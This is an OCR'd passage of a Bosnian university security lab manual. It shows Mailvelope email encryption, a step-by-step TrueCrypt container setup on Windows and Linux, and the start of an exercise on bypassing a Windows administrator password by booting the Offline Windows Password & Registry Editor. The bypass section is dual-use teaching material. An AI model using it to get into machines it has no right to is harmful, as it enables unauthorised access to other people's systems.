Attach = Tip: drag and drop files from your desktop to add attachments to this message.

resource:ffjid1-aqqgsmbyb0aBadg-at-jetpack - Mozilla Firefox

Compose Mail n)/

Gvo g sad1 Sifrrano.

Sasa sa ETF

----- Forwarded Message -----

From: "Sasa Mrdovic" <mrdovic@bih.net.ba>
To: "§§V§,§ m <sasa.mrdovic@etf.unsa.bas
Cc: mrdovic@bih.net.ba

Sent: Thursday, April 2, 2015 10:28:35 AM

Sublect: Potpisano sa Mailvelope

Hash: SHA256

3

® Cancel < Undo # Sign @

Slika 2.24: Mailvelope - Sifriranje poruke

se provjeriti i desifrirati sa Mailvelope i obratno. Uslov je naravno posjedovanje
odgovarajuc¢ih kljuceva, $to i jeste osnova sigurnosti kriptografije.
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2 Zimbra: Forward - Mozilla Firefox

] etf.unsa.ba
Cancel Save Draft ::: Options =
To: | sasa.mrdovici@gmail.com X
ce: || Show BCC
Subject: |Fwd: Potpisano sa Mailvelope Priority: — =
Attach - Tip: drag and drop files from your desktop to add attachments to this
—_— message.

————— BEGIN PGP MESSAGE-----
Version: OpenPGP.js v8.9.8
Comment: http://openpgpjs.org

WCFMABZKCh7 fhTzkAQ/ /dsuY jVK8ezz4u790kVKod4pcIOUWNNS4znj9EIOB
dC5fgHYGaVpIsbHINKXRAgCcRw3sCIBg+1i5vgIpDpU/mNrbH7hLy faUSzVTY
3gqwOXLEZKIUognwFcpgx8558z4Gb0/2LzqyC5D80owd@mKK7MN4AMScPEPCag
CYQbTIIjONBABgQFeYUIstns6GD1lkdtuZiZ0audGPD+sL1xIzNt9viflLlrPFC
Co+N/MutIiYEEEG3dSCXsBOH/I1wn/HhKgxY8kBzuBviSyKROkGBwn+g2FQV

Slika 2.25: Slanje Mailvelope Sifrirane poruke

2.3 Sifriranje podataka na trajnom mediju

Upotrebom programa TrueCrypt!! potrebno je omoguéiti Sifriranje podataka na
disku. Ako je moguce, koristiti USB stick, tako da se podaci sifriraju na jednom
racunaru (i OS-u), a deifriraju na drugom.!?

Rjesenje: Potrebno je instalirati TrueCrypt softver na racunare na kojima ée se

1 TrueCrypt fondacija objavila je 28.5.2014. da se TrueCrypt softver vise ne odrzava
i da moze imati sigurnosnih propusta[25]. U nedostatku adekvatne alternative ovdje
je koristen TrueCrypt verzija 7.1a za koju Gibson Reserach Corporation, kao i neki
drugi autori i organizacije, kazu da je i dalje sigurna za upotrebu [9]. Sigurnosna
revizija TrueCrypt koda verzije 7.1a, izvrsena 13.3.2015., nije pronasla sigurnosne
propuste zbog kojih bi se TrueCrypt mogao smatrati nesigurnim za upotrebu [2].
Nasljednici TrueCrypt imaju slian pristup provodenju ovdje objasnjenih operacija.

2 TrueCrypt je Open Source program koji postoji u verzijama za Windows i Linux,
tako da studenti sami mogu izabrati pod kojim operativnim sistemom ¢e realizovati
ovaj zadatak
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M — - _wil D@g
"~

;;' M Fwd: Potpisano sa Mailve! % \ R . . - L - — -
= C' | 8 https://mail.google.com/mail/u/0/#inbox/14c7f6998c88bdd9 @ » =

Google EM -~ =0
Gmail ~ “ a 0 § M- -  Moer 10f725 >

Fwd: Potpisano sa Mailvelope Inbox

I Inbox
Starred
Important
Sent Mail
Drafts (1)
Circles

u i
[}

Sasa Mrdovi¢ <smrdovic@etf.un:  3:12 PM (10 minutes ago) L T
to me |~

-

[Imap]/Trash

Deleted Messages
mrdovic@yahoo.com
Lessa

Chats

All Mail

Spam (35) of )

Trash r

+ Categories x

Slika 2.26: Prikaz Mailvelope §ifrirane poruke

vrsiti Sifriranje i desifriranje datoteka. Posto se TrueCrypt softver vise ne odrzava
i nije dostupan na svojoj originalnoj lokaciji, instalacione datoteke moguce je pre-
uzeti sa lokacije!:

https://www.grc.com/misc/truecrypt/truecrypt.htm

Dostupne su verzije za Windows, Linux i MAC OS. Detaljne korisnicke upute
za TrueCrypt [15] dostupne su sa iste lokacije. Ovdje ¢e biti pokazane samo neke
osnovne moguénosti TrueCrypt softvera. Za vise detalja potrebno je procitati po-
menute korisnicke upute.

Instalacija TrueCrypt na Windows OS je jednostavna, ali podrazumijeva ne-
koliko bitnih koraka. Nakon Sto se preuzme instalaciona datoteka potrebno je

3 Ovo nije jedina lokacija na kojoj je dostupan ova verzija TrueCrypt, ali je ova pro-
vjereno dobra. U svakom slucaju najbolje je instalacione datoteke preuzeti sa jedne
lokacije, a njihove hash-eve sa druge.
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pokrenuti te prihvatiti uslove koristenja. Prvo pitanje koje se postavlja prilikom
instalacije odnosi se na odluku da 1i se TrueCrypt zeli instalirati na ra¢unar ili
samo raspakovati. Raspakivanje sluzi da bi se doslo do prenosive izvrsne datoteke
TrueCrypt.exe koja omogucava upotrebu ovog softvera i na ra¢unarima na ko-
jima nije instaliran. Ovo je korisna moguénost jer omogucava pohranjivanje ove
izvrsne datoteke na prenosnom mediju (npr. USB) te njenu samostalnu upotrebu
na bilo kom (Windows) racunaru. Za obavljanje konkretnog zadatka iz ove vjezbe
potrebno je izabrati opciju ”Install”.

Na slijede¢em prozoru biraju se standardne opcije za instalaciju Windows pro-
grama kao §to su lokacija, dostupnost svim korisnicima OS, dodavanje u Start
meni i na Desktop, asociranje ”.t¢” ekstenzije sa TrueCrypt te pravljenje Sys-
tem Restore point. Mogu se prihvatiti ponudeni izbori'?. Time se instalacija
zavrsava.'®

Pokretanjem TrueCrypt pojavi se pocetni prozor kao na slici 2.27.

Osnovni, najjednostavniji i vjerovatno najvise koristeni nac¢in rada TrueCrypt
je da se napravi TrueCrypt datoteka, takozvani Container, na koju se onda, uz
pomo¢ TrueCrypt-a, operativni sistem poveze (mount) kao na particiju diska.
Dok je particija aktivirana kroz TrueCrypt na nju se mogu dodavati i sa nje bri-
sati datoteke kao sa bilo koje druge particije. Kada se kroz TrueCrypt ova par-
ticija deaktivira, odvoji od OS (dismount), na datotetnom sistemu ostaje samo
TrueCrypt datoteka. Ova datoteka je Sifrirana i njen sadrzaj, datoteke koje su
”ubacene” u nju se ne mogu vidjeti bez desifriranja. Za desifriranje je potreban
TrueCrypt i klju¢. Ovu datoteku moguée je prenijeti na drugi racunar (preko
eksternih memorijskih medija, preko mreze, kao prilog e-poste, ...) te je i tamo
otvoriti sa TrueCrypt i odgovarajuéim klju¢em. U nastavku ¢e biti pokazano kako
se pravi i koristi ovaj TrueCrypt Container. Tokom procesa bi¢e pomenute i druge
mogucénosti koje se nude.

Na osnovnom TrueCrypt prozoru sa slike 2.27 potrebno je kliknuti na dugme
”Create Volume” (sa lijeve strane u sredini). U prozoru koji se otvori trazi se
od korisnika da izabere na Sta ¢e se ova particija ( Volume) odnositi. Inicijalno je
izabrane opcija da to bude Sifrirani file container kako je to maloprije objasnjeno.
Jedna od ponudenih opcija je Sifriranje kompletne particije ili diska, na kojim nije

14 Autor ne voli pretrpan Desktop pa uvijek iskljucuje opciju dodavanja kratica za
softvere na desktop.

15 Zanimljivo je da se na zadnjem prozoru pojavi poruka o moguénosti doniranja koja
vodi na truerypt.org lokaciju, koja se onda preusmjerava na truecrypt.sourceforge.net
lokaciju na kojoj se nalazi informacija da TrueCrypt viSe nije siguran.
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-
m TruaCrypt [

Volurmes  System  Favorites Tools  Settings  Help Homepage

Drive | Volume | Size | Encryption algorithm | Type | -
G
e H;
S
]
L L "
|
M
N
a0 | 4
g P [
SR

RS

ST 52

m

i CreateVolume ¢ Yalume Properties. . | Wipe Cache |
Volume
I ;I SelectFile... |
| W Mever save history '
Volume Tools. .. | Select Device. .. |
Mount Auto-Mount Devices Dizmount Al Exit

Slika 2.27: TrueCrypt - Osnovni prozor

instaliran operativni sistem. Ovo moze biti korisno za Sifriranje eksternih preno-
sivih medija ili particije na racunaru na kojoj se zele ¢uvati povjerljivi podaci.
Druga opcija je Sifriranje sistemske particije ili cijelog diska na kom je ova parti-
cija. Uz ovu opciju stoji i logi¢na napomena da ¢e prilikom paljenja racunara za
pristup sistemskoj particiji, odnosno pokretanje operativnog sistema sa nje, biti
potrebno unijeti lozinku za pristup kljuc¢u kojim je particija Sifrirana. Izgled ovog
prozora prikazan je na slici 2.28.

NAPOMENA: Ovdje je dobro mjesto da se napomene vrlo vazna ¢injenica ve-
zana za ifriranje datoteka (kao i poruka e-poste i svega ostalog): AKO SE KLJUC
ZA DESIFRIRANJE IZGUBI PODACI SU IZGUBLJENI. Time se potvrduje i
osnovni postulat kriptografije, koji se naziva i Kerckhoffs-ov princip [22, 23], da
je sigurnost u klju¢u. U ovom sluc¢aju bi se ta sigurnost odnosila na dostupnost
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F ™y
E TrueCrypt Volume Creation Wizard [ — ﬂ_ﬂj

-

TrueCrypt Volume Creation Wizard

* Create an encrypted file container

Creates a virtual encrypted disk within a file, Recommended for
inexperienced users,

Mare information

" Encrypt a non-system partition/drive

Encrypts a non-system partition on any internal or external
drive {e.q. a flash drive). Optionally, creates a hidden volume.

" Encrypt the system partition or entire system drive

Encrypts the partition/drive where Windows is installed. Anyone
who wants to gain access and use the system, read and write
files, etc., will need to enter the correct password each time
before Windows boots. Optionally, creates a hidden system.

More information about system encryption

Slika 2.28: TrueCrypt - Izbor sta se sifrirana

informacija. Nema klju¢a nema informacija. Prilikom Sifriranje sistemske particije
ili diska TrueCrypt nudi kreiranje diska (CD/DVD) sa kog je mogudée desifrirati
sistemsku particiju.

Nakon $to je izabrano da se napravi Sifrirani container datoteka pojavljuje se pro-
zor za izbor tipa particije koja se pravi. Inicijalno je izabrana opcija standardne
particije koje objasnjena ranije. Alternativa je kreiranje skrivene particije. Ova
particija se pravi unutar TrueCrypt particije. Ideja je da se ova particija ni po
¢emu ne razlikuje od praznog diska i da je za pristup njoj potrebno znati da
uopste postoji. Cak je moguée instalirati operativni sistem na ovu particiju koji
je onda takode sakriven. Vise detalja o ovoj opciji za one vrlo oprezne moze se
naéi u korisnickim uputama [15]. Izgled ovog prozora prikazan je na slici 2.29.

Posto je izabrana standardna TrueCrypt particija u narednom prozoru se
ocekuje da korisnik izabere datoteku koja ¢ée predstavljati container u koji Ce
se smjestati Sifrirane datoteke!®. Moguée je izabrati postojeéu datoteku, ali ée
u tom sluc¢aju njen sadrzaj biti obrisan. Najbolje je napraviti novu datoteku
Sto se postize kada se kroz dijalog koji se otvori klikom na dugme ”Select File...”

16 Ovo nije datoteka koja se zeli sifrirati.
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s B
E TrueCrypt Volume Creation Wizard l =] — &l
F’"' Volume Type

+ Standard TrueCrypt volume

Select this option if you want to create a normal TrueCrypt
volume.

" Hidden TrueCrypt volume

It may happen that you are forced by somebody to reveal the
password to an encrypted volume, There are many situations
where you cannot refuse to reveal the password (for example,
due to extortion). Using a so-called hidden volume allows you to
solve such situations without revealing the password to your
volume.

Mare information about hidden volumes

Help Mext = Cancel

Slika 2.29: TrueCrypt - Izbor tipa Sifrirane particije

pozicionira na lokaciju gdje se zeli napraviti datoteka i upise ime datoteke. U ovom
sluc¢aju izabrano je da se datoteka napravi u osnovnom folderu jedne particije
(radi vidljivosti putanje na slijedecoj slici). Datoteci je dato ime koje odgovara
njenoj namjeni i ekstenzija ”.tc”, da bi je TrueCrypt mogao odmah prepoznati.
Ako se datoteka zeli uéiniti manje upadljivom moze joj se dati drugacije ime i
ekstenzija. Bitno je samo da se prilikom izbora datoteke koja je Sifrirani kontejner
izabere ta datoteka. Izgled ovog prozora sa izabranim imenom datoteke prikazan
je na slici 2.30.

Slijededi korak je izbor kriptografskih algoritama za Sifriranje i hash-iranje.
Kao algoritmi za Sifriranje ponudeni su AES [36], Serpent [3] i Twofish [47], te
njihove kombinacije u kojim se prvo Sifrira jednim, pa drugim algoritmom, a
mogucde i treéim. Sva tri algoritma su provjerena i sva tri su bila u konkurenciji
za izbor za novi, napredni, standard za Sifriranje u SAD. To su sve simetri¢ni
algoritmi Sifriranja, $to znaci da se koristi isti klju¢ za Sifriranje i desifriranje.
Prednost ovih algoritama u odnosu na simetri¢ne, koji su koristeni u prva dva
zadatka, je brzina. Oni mnogo brze mogu sifrirati te su pogodni za Sifriranje velike
koli¢ine podataka kakva se pohranjuje na savremene hard diskove. Kao algoritmi
za hash-iranje ponudeni su RIPEMD-160 [10], SHA-512 [37] i Whirlpool [4]. I
ovdje su sva tri ponudena algoritma poznata i provjerena. Za nastavak su izabrani
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r B
E TrueCrypt Volume Creation Wizard [ = = &J

Volume Location

| F\aiffirani_kontejner. tc | | selectEie... |

¥ Mever save history

A TrueCrypt volume can reside in a file (called TrueCrypt container),
which can reside on a hard disk, on a USB flash drive, etc. A
TrueCrypt container is just like any normal file {it can be, for
example, moved or deleted as any normal file). Click 'Select File' to
choose a filename for the container and to select the location where
you wish the container to be created.

WARNING: If you select an existing file, TrueCrypt will NOT encrypt
it; the file will be deleted and replaced with the newly created
TrueCrypt container. You will be able to encrypt existing files (ater
on) by moving them to the TrueCrypt container that you are about
to create now.

Cancel

Help < Back

Fae wmw

Slika 2.30: TrueCrypt - Izbor tipa Sifrirane particije

AES i SHA-51217 kako je to prikazano na slici 2.31.

Sada je potrebno izabrati veli¢inu datoteke (kontejnera) koja ¢ée predstav-
ljati particiju za pohranjivanje Sifriranih datoteka. Ovim se bira koliko podataka,
Sifriranih datoteka, se moze pohraniti na tu particiju. Potrebno je izabrati veli¢inu
adekvatnu namjeni. Izabrana je veli¢ina od 100 MB kao na slici 2.32.

Naredni korak je sigurnosno vrlo vazan. Potrebno je izabrati lozinku koja ¢e
omogucavati deSifriranje podataka i, iz perspektive korisnika, predstavljati kljuc,
tajnu informaciju koju samo korisnik zna. Lozinka koju je lako pogoditi ili do
koje se moze doc¢i znaci da neko drugi moze desifrirati podatke. Lozinka koja se
Predlaze se upotreba dugackih lozinki (passphrase) kao $to su one koristene za
zastitu pristupa privatnom klju¢u u prvom zadatku. Na prozoru za izbor lozinke
postoji i opcija ”Use keyfiles” koja se moze ukljuciti. Ova opcija omogucava
dodatnu sigurnost putem dodatnih zahtjeva prilikom deSifriranja. Ako se aktivira
ova opcija potrebno je izabrati (ili generisati) datoteku koja ¢e biti neophodna za

17 Posto su to dva algoritma koji su dio zvaniénih standarda. Oni koji se boje da su
SAD standardi pod uticajem NSA mogu izabrati druge algoritme.
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f —
> . { =
E TrueCrypt Volume Creation Wizard - -

Encryption Options

—Encryption Algorithm

faEs | Test |

FIPS-approved cipher (Rijndael, published in 1998) that may be
used by U.5. government departments and agendes to protect
dassified information up to the Top Secret level, 256-bit key,
128-bit block, 14 rounds (AES-256). Mode of operation is XT5.

Benchmark |

More information on AES

—Hash Algorithm

sHasi2 4

Information on hash algorithms

< Back I Mext = I Cancel

Help |

Slika 2.31: TrueCrypt - Izbor kriptografskih algoritama

-
E TrueCrypt Volume Creation Wizard =] —

Volume Size

100] KB & MB " GB

Free space on drive F:\ is 721.88 GB

Please specify the size of the container you want to create,

If you create a dynamic (sparse-file) container, this parameter wil
spedify its maximum possible size.

Mote that the minimum possible size of a FAT volume is 292 KB,
The minimurm possible size of an NTFS vaolume is 3792 KB.

Help < Back I MNext = I Cancel

W =

Slika 2.32: TrueCrypt - Izbor veli¢ine particije
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desifriranje. Prilikom desifriranja TrueCrypt ¢e traziti da mu se unese putanja do
ove datoteke. Ovim se postize da je za desifriranje potrebno znati lozinku i imati
pristup ovoj datoteci. TrueCrypt ne mijenja tu datoteku veé¢ samo trazi da joj
ima pristup prilikom desifriranja. Ta datoteka se ne smije izgubiti ili mijenjati'®
jer ¢e onda desifriranje biti nemoguce. Ovo je korisna opcija koju autor koristi,
ali ovdje radi obima izlaganja nece biti izabrana. Prozor za izbor lozinke prikazan
je na slici 2.33.

-
E TrueCrypt Volume Creation Wizard @_Iﬂ

Volume Password

Password: ]

Confirm: J

I ‘If_lisplay password

Itis very important that you choose a good password. You should
avoid choosing one that contains only a single word that can be found
in a dictionary (or a combination of 2, 3, or 4 such words). It should
not contain any names or dates of birth, It should not be easy to
guess. A good password is a random combination of upper and lower
case letters, numbers, and special characters, suchas @ ~ =5+
etc. We recommend choosing a password consisting of mere than 20
characters (the longer, the better). The maximum possible length is 64
characters,

Help < Back | Mext = | Cancel j

Slika 2.33: TrueCrypt - Izbor lozinke

Posljednji korak je izbor datoteénog sistema za particiju. Moguce je izabrati
FAT, NTFS ili nijedan. Radi pouzdanijeg pristupa particiji iz razli¢itih operativ-
nih sistema izabran je FAT'?. Na prozoru je i informacija da se generige krip-
tografski klju¢ koji treba da je sto slucajniji, te da se ”veca slucajnost” postize
nasumi¢nim pomjeranjem misa. Nakon malo pomjeranja miSa unutar ovog pro-
zora kliknuto je na dugme ”Format” kao na slici 2.34.

'8 Prvih 1024 KB
19 Gavremene Linux distribucije imaju dobru podrsku za NTFS pa je i to danas dobar
izbor.
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r B
E TrueCrypt Volume Creation Wizard s Sl S - S o Elﬂlg
Volume Format
—Options

FiIesystemIFAT _vJ CIusherIDefauIt_'J [~ Dynamic

Random Pool: CECACT449D31D97642AT09FABEB42918 W I

Header Key:
Master Key:
il
| Abort | L
Dane Speed I Leﬂl i
IMPORTANT: Move your mouse as randomly as possible within this
window. The longer you move it, the better. This significantly |

increases the cryptographic strength of the encryption keys. Then
dick Format to create the volume.

Help < Back Cancel

Slika 2.34: TrueCrypt - Formatiranje particije

Nakon ovoga se pojavljuje prozor u kom se potvrduje da je TrueCrypt parti-
cija napravljena. Kada se potvrdi taj prozor pojavljuje se prozor u kom je moguce
krenuti sa pravljenjem nove particije ili zavrsiti. Izlaskom se TrueCrypt vraca na
svoj inicijalni prozor sa slike 2.27. Sa ovog prozora moguce je aktivirati upravo
kreiranu particiju i povezati je sa imenom (slovom) u operativnom sistemu. Po-
trebno je izabrati pod kojim nazivom (slovom) ¢e Windows uéiniti ovu particiju
dostupnom te izabrati datoteku (kontejner), klikom na dugme ”Select File...”,
koja je kreirana u prethodnom procesu. Kada se izaberu naziv particije i dato-
teka potrebno je kliknuti na dugme ”Mount”. Izbrane opcije prikazane su na slici
2.35.

Prije nego sto se particija montira potrebno je unijeti lozinku. U slucaju da je
prilikom pravljenja particije izabrano da se koristi i "keyfiles” trebalo bi unijeti i
putanju do ove datoteke. Prozor sa unesenom lozinkom prikazan je na slici 2.36.

Po unosu ispravne lozinke na TrueCrypt prozoru se ispisuje da je izabrana
particija aktivna.

Kroz Windows Explorer program moguce je vidjeti da je dostupna nova par-
ticija pod izabranim slovom. Tu particiju je sada moguce koristiti kao bilo koju
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Create Volume I Yolure Properties. ., | Wipe Cache |
—Volume
I F:\sifrirani_kontejner. tc ;I Select File... |
¥ Mever save history
Volume Tools... | Select Device... |
Mount Auto-Mount Devices Dizmount Al Exit
— ——— ——— — — A

Slika 2.35: TrueCrypt - Montiranje particije

-
Enter password for Fsifrirani_kontejner.tc

Password: I

[~ Display password
[~ Use keyfiles

i oK I

[~ Cache passwords and keyfiles in memary Cancel |

Keyfiles... | Mount Optigns... |

Slika 2.36: TrueCrypt - Unos lozinke
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drugu. Na nju je moguée dodavati datoteke, te ih uklanjati. Moguée je dodavati
foldere i podfoldere. Radi ilustracije na tu particiju je kopirana datoteka u kojoj
je pripreman ovaj tekst, te napravljena jedna tekstualna datoteka. Particija sa
ovim datotekama prikazana je na slici 2.37.

[ - - )
-— - -
@_n::)vh_._, » Computer » Local Disk (G:) - |¢¢ | | Search Local ol |
Organize « T Open ~ Burn MNew folder = - O i@l
3 Name Date modified Type Size
18 Computer o
£ 05y | Tajni tekst.tet 15.4.2015 11:03 Text Document 1KB
= : ™ Upotreba_kriptografije.tex 15.4.2015 10:18 TeX Document 40 KB
= HP_RECOVERY ([v)
s Sale (F) E
— Local Disk (G:) |

Slika 2.37: TrueCrypt - Aktivna particija

Kada se na particiju prebaci sve Sto se zeli ¢uvati Sifrirano, particija se moze
deaktivirati i datoteke uciniti nedostupnim (bez lozinke i TrueCrypt) pritiskom
na dugme ”Dismount” na osnovnom TrueCrypt prozoru. U slu¢aju da postoji vise
aktivnih TrueCrypt particija potrebno je prethodno izabrati koja se zeli deakti-
virati ili deaktivirati sve klikom na dugme ”Dismount All”. Izgled ovog prozora
isti je kao onoga za montiranje particije na slici 2.35.

Nakon deaktivacije particija viSe nije dostupna kroz alate OS, a podaci pohra-
njeni na nju u vidu datoteka su necitki unutar datoteke kontejnera.

U nastavku ¢e biti pokazano kako se ova datoteka kontejner moze otvoriti pod
Linux OS upotrebom TrueCrypt i odgovarajuée lozinke.

Instalacija TrueCrypt na Linux OS je jednostavna. Potrebno je preuzeti tar.gz
datoteku za odgovarajucu (64 ili 32 bitnu) verziju Linux. Datoteku je mogudée
preuzeti sa iste lokacije sa koje je preuzeta Windows instalacija;
https://www.grc.com/misc/truecrypt/truecrypt.htm

Nakon preuzimanja instalacione datoteke potrebno je raspakovati. To je moguce
uraditi sa komandne linije iz foldera u kom se nalazi datoteka komandom:
tar xzf truecrypt*.tar.gz
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ili konkretno u slu¢aju verzije 7.1a za 64 bitni Linux komandom:
tar xzf truecrypt-7.la-linux-x64.tar.gz

Raspakivanje se moze uraditi i kroz graficko okruzenje. Nakon toga u istom fol-
deru nalaziée se raspakovana instalacijska datoteka koju treba pokrenuti kao pri-
vilegovani korisnik naredbom sa komandne linije:

sudo ./truecryptxsetup*

ili konkretno u sluc¢aju verzije 7.1a za 64 bitni Linux komandom:

sudo ./truecrypt-7.la-setup-x64

Nakon pokretanja instalacijske datoteke pojavljuje se prozor sa osnovnim infor-
macijama o TrueCrypt na kom je moguée nastaviti sa instalacijom ili odustati.
Potrebno je kliknuti na dugme ”Install TrueCrypt”. Slijedeéi prozor trazi da se
prihvate uslovi koristenja (licence terms). Za nastavak instalacije neophodno je
prihvatiti ove uslove. Na slijede¢em prozoru je poruka o na¢inu deinstaliranja Tru-
eCrypt, koju treba potvrditi klikom na dugme ”OK”. Na kraju se pojavi prozor
sa komandnom linijom i porukom da je potrebno pritisnuti ” Enter” za zavrSetak
instalacije. Ovim je instalacija zavrsena i TrueCrypt se moze pokrenuti kucanjem
komande truecrypt sa komandne linije ili iz grafickog okruzenja. Nakon pokre-
tanja otvara se glavni prozor TrueCrypt programa koji je vrlo slican onome u
Windows verziji. Izgled ovog prozora prikazan je na slici 2.38.

Isto kao i u Windows verziji potrebno je izabrati particiju koja se zeli mon-
tirati i datoteku kontejner. Datoteka kontejner koja je napravljena na Windows
prebacena je na USB memorijski uredaj i moze se ovdje povezati sa TrueCrypt
particijom. Izgled prozora sa izabranom particijom i datotekom kontejner prika-
zan je na slici 2.39.

Nakon klika na dugme ”Mount” potrebno je unijeti lozinku za desifriranje
particije. To je ista lozinka koja je izabrana prilikom pravljenja particije (na
Windows). Nakon unosa ispravne lozinke, Linux trazi unos lozinke za privilego-
vanog korisnika (root) ili za korisnika koji je pokrenuo TrueCrypt, ako je isti u
sudo grupi, da bi mogao montirati particiju. Nakon unosa i ove lozinke pojav-
ljuje se nova particija sa svim datotekama koje su (na Windows) stavljene na
ovu TrueCrypt particiju. I ovdje je mogucée dodavati, mijenjati i brisati datoteke
sa particije do njenog demontiranja. Na slici 2.40 prikazan je sadrzaj TrueCrypt
particije i sadrzaj datoteke ”Tajni tekst.txt”.

Isto kao i u Windows verziji, kada se zavrsi pohranjivanje datoteka koje se
zele ¢uvati Sifrirane na particiji potrebno je demontirati particiju sa glavnog Tru-
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TrueCrypt

Slot  Volume Size Mount Directory Type

Create Volume Volume Properties Wipe Cache

Volume

E select File...
& Never save history Volume Tools... Select Device...

{ Mount Auto-Mount Devices Dismount All Exit

Slika 2.38: TrueCrypt - glavni prozor u Linux verziji

eCrypt prozora klikom na dugme ”Dismount”.

Ovim je pokazan osnovni na¢in upotrebe TrueCrypt za Sifriranje podataka na
disku. Kako je re¢eno TrueCrypt nudi i druge opcije koje su detaljno objasnjene
u korisnickim uputama [15].
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TrueCrypt

slot  Volume Size Mount Directory Type
a2

S 3
S 4
S 5
S 6
S 7
s B
S 9
s 10
s 11
S 12

| CreateVolume | Volume Properties... Wipe Cache

Volume

| /media/sasa/USB-STICK/sifrirani_kontejner.tc ~ | | SelectFile... |
[& Never save history

| Volume Tools... | | Select Device... |

& IAuto—MountDevicesl I Dismount All I Exit

Slika 2.39: TrueCrypt - montiranje particije u Linux verziji
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M8 105 MB Volume

Places
© Recent
A Home
[ Desktop
[) Documentsiis Tajni tekst.bxt (105 MB Volume /mediaftruecrypkt1) - gedit
< Downloads n B open - B3 save B,
dd Music
41 Pictures
Hvideos
i Trash

Ychap
Ylabe
Qva v

Tajni teksk.txt Upotreba_
kriptografije.tex

| ] Tajni tekst.bxt x
Mrio povjerljivo.
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M 105 MB Volume &
[® computer

Network “Tajni tekst.txt" selected (17 bytes)

Slika 2.40: TrueCrypt - montirana particije u Linux verziji
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VJEZBA: Provjera kvaliteta lozinki

Ova vjezba ima za cilj upoznavanje studenata sa nekim metodama i alatima za
provjeru kvaliteta lozinki. Kroz upoznavanje sa ovim metodama prezentiraju se i
zastite koje operativni sistemi imaju protiv pogadanja lozinki. Tako da studenti,
na prakti¢nim primjerima, vide koje lozinke je lakse pogoditi i kakve lozinke ne
treba birati. Dodatna poduka koju bi trebali dobiti je koliko je fizicka sigurnost
bitna. Kroz vjezbu se prezentiraju i koriste alati za realizaciju ovih funkcija ak-
tuelni u vrijeme pisanja. Ovi alati pokazuju trenutno stanje u ovoj oblasti. Na
osnovu njih je moguce vidjeti koliko je lako ili tesko neovlasteno doéi do lozinki
na razlicitim operativnim sistemima. Za teoretsko objasnjenje zastite lozinki i
napada na njih vidjeti knjigu [32] koja je uskladena sa ovim vjezbama. Inici-
jalne ideje za ovo vjezbu dosle su iz odli¢cne prakticne knjige iz oblasti racunarske
sigurnosti [51].

3.1 Prijava na OS bez poznavanja lozinke

Potrebno je da se studenti pokuSaju prijaviti na ra¢unar kao privilegovani koris-
nici bez poznavanja podataka potrebnih za prijavu (korisni¢ko ime / lozinka).

3.1.1 Na Widows OS
Upotrebom alata Offiine Windows Password & Registry Editor

Rjesenje: Alat Offline Windows Password & Registry Editor omogucéava izmjenu
lozinki svakog od korisnika svake verzije Windows OS od NT3.5. Tako je zvani¢no
moguce izmijeniti lozinke, najsigurnije je lozinku obrisati, odnosno postaviti da
bude prazna. Iz iskustva autora promjena lozinke ponekad bude neuspjesna. Alat
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je vrlo koristan, i namijenjen je za situacije kada korisnik zaboravi administra-
torsku lozinku za svoj Windows sistem®.

Prije prelaska na prakti¢no objasnjavanje nacin upotrebe alata malo teoretsko
objasnjenje kako alat rad. Datoteka u kojoj su pohranjene lozinke Windows ko-
risnika? zastiéena je od izmjena od strane Windows OS. Medutim ova zastita je
aktivna samo kad je taj Windows OS, ¢ija je to datoteka sa lozinkama, aktivan.
Kada se na tom racunaru pokrene drugi OS, za njega je datoteka sa lozinkama
onog Windows OS samo obi¢na datoteka koju moze mijenjati. Ako je poznato
gdje u toj datoteci i u kom obliku su upisane lozinke moguce je upisati lozinku po
izboru onoga ko pise u tu datoteku. Iako format Windows datoteke sa lozinkama
nije javan, nije mogao ostati tajan, pa su istrazivaci uspjeli da saznaju gdje i kako
su zapisane lozinke. Offline Windows Password & Registry Editor je minimalna
Linux distribucija koja omogucava pokretanje Linux OS sa nekog prenosivog me-
morijskog medija (USB, CD) te izvrsavanje skripte koja omoguéava pronalazak
Windows datoteka sa lozinkama, pregled korisnika te izmjenu ili brisanje njiho-
vih lozinki u toj datoteci. Ono §to je vazno iz ovoga zapamtiti je da je moguée
obrisati Windows administratorsku lozinku racunara kom se ima fizicki pristup?.
Bez fizicke sigurnosti nema drugih sigurnosti.

Offline Windows Password & Registry Editor (u nastavku OWPRE) mogude
je preuzeti sa lokacije:
http://pogostick.net/ pnh/ntpasswd/

U zavisnosti od toga da li se zeli staviti na CD ili USB potrebno je izabrati
odgovarajuc¢u datoteku. Ovu datoteku je potrebno prebaciti na izabrani medij
(CD ili USB) prema uputama. Upute za upotrebu se nalaze na istoj adresi, a
sam softver prilicno dobro objasnjava Sta je potrebno uraditi da bi se ostvario
zeljeni cilj. Na veéini mjesta gdje je tokom izvrsavanja potrebno nesto izabrati
ponudena (default) opcija je ona koja je potrebna.

U konkretnom primjeru preuzeta je kompresovana datoteka cd140201.zip u kojoj

! Ta situacija se u stvarnosti éesto dedava korisnicima koji, postujuéi savjete, u redov-
nom radu koriste ne-administratorsku prijavu. Ako se rijetko prijavljuju kao adminis-
trator onda zaborava lozinku. Autor ovdje ne savjetuje da se korisnici prijavljuju kao
administratori, naprotiv smatra da se na OS treba prijavljivati iskljucivo kao neprivi-
legovani korisnik, osim kad je potrebno obaviti nesto za §to je potrebna privilegovana
prijava,

2 SAM (Security Account Manager) datoteka, koja se, u ve¢ini Windows verzija, nalazi
na lokaciji \Windows\system32\config.

3 Postoje i neke zadtite na nivou BIOS-a, ali se i one mogu zaobidi.
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se nalazi CD image sa istim imenom. Taj image zapisan je na CD. Taj CD je
ubacen u ra¢unar na kom je instaliran Windows 7 OS ¢iju lozinku se Zeli obrisati.
U BIOS-u racunara mora biti podeSenje da datoteke operativnog sistema trazi
na CD-u (ili USB ako se koristi USB za ovu namjenu) prije nego ih potrazi na
hard disku. Ovim se osigurava da ¢e se pokrenuti operativni sistem sa CD-a, koji
¢e omoguciti pristup i izmjene datoteke sa Windows lozinkama.

Nakon pokretanja sa CD-a pojavljuje se ekran sa nazivom softvera i osnovnim
informacija o njegovom autoru (Petter Nordahl-Hagen). Na tom ekranu mogude
je dodat neke opcije za pokretanje (boot) Linux kernela. Uglavnom je dovoljno
samo pritisnuti ” Enter”.

Nakon toga pokreée se OS sa CD-a, te softver koji ostvaruje Zeljenu funkcional-
nost. U prvom koraku pretrazuju se svi diskovi u racunaru i sve particije na njima
u potrazi za particijama na kojima je instaliran Windows OS. Na veéini ra¢unara,
to je samo jedna particija. Sada softver nudi korisniku da izabere koju od particija
koje je pronasao zeli da koristi u nastavku. Izbor se vrsi unosenjem broja ispred
